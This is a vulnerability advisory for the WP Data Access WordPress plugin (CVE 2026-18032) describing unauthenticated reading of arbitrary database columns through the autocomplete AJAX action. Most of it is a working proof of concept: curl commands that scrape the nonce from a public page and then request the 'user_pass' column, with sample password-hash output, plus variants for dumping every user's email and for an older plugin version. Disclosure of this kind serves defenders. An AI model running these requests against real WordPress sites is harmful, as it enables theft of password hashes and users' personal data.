WP Data Access < 5.5.79 – Unauthenticated Sensitive Data Disclosure via Autocomplete Column Authorization Bypass | CVE 2026-18032

Description

The plugin does not validate the column names it accepts on one of its unauthenticated AJAX actions, and the nonce guarding that action does not cover them, allowing unauthenticated attackers to read arbitrary columns of the database table the affected front-end form is bound to, including user password hashes where that table is the users table.

Proof of Concept

Prerequisites (site-owner configuration, done once):
1. WP Data Access > Data Projects: create a project and a page of type "table" over a table.
2. On that table's design, add a relationship of type "lookup autocomplete" whose target table is wp_users, target column ID, and whose source column lookup label column is display_name.
3. Set the page's "Allow insert" to "only" so the page renders the data-entry form.
4. Publish a public WordPress page containing: [wpdadiehard project_id="1" page_id="1"]

The plugin's "Use roles in shortcode" setting is off by default, so the page is served to logged-out visitors without any extra configuration.

Step 1 - scrape the nonce as a fully unauthenticated visitor (no cookies):

curl -s "https://victim.example/order-form/" | grep -o "wpda_wpnonce: '[a-f0-9]*'"
# -> wpda_wpnonce: 'a6d46edf6c'

Step 2 - read every user's password hash. Every parameter covered by the nonce is left at its legitimate value; only the lookup label column is substituted:

curl -s -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data "action=wpda_autocomplete" \
  --data "wpda_wpnonce=<NONCE FROM STEP 1>" \
  --data "wpda_source_column_value=" \
  --data "wpda_source_column_name=user_id" \
  --data "wpda_target_schema_name=" \
  --data "wpda_target_table_name=wp_users" \
  --data "wpda_target_column_name=ID" \
  --data "wpda_lookup_label_column=user_pass"

Response (HTTP 200), all rows, no LIMIT:

{"status":"ok","message":"","rows":[
 {"value":"$wp$2y$12$6VBbjPnCfdCna5043TqvtORmS8nr3lGYldRqdevfcrGltJzzMPrum","label":"$wp$2y$12$6VBbjPnCfdCna5043TqvtORmS8nr3lGYldRqdevfcrGltJzzMPrum","lookup":1},
 {"value":"$wp$2y$12$bRtGUFdSnC2HsG6jA6caMeEbiBfLKyQOnw.vdyEwSE1TeuBgrc.Q.","label":"$wp$2y$12$bRtGUFdSnC2HsG6jA6caMeEbiBfLKyQOnw.vdyEwSE1TeuBgrc.Q.","lookup":2}]}

Substituting user_email for user_pass returns every registered address. No authentication, no cookies, no user interaction.

On 5.5.76 the same result is also obtained by substituting the target column instead (wpda_target_column_name=user_pass and wpda_lookup_label_column=user_pass). That variant is rejected on 5.5.77; the variant above works on both.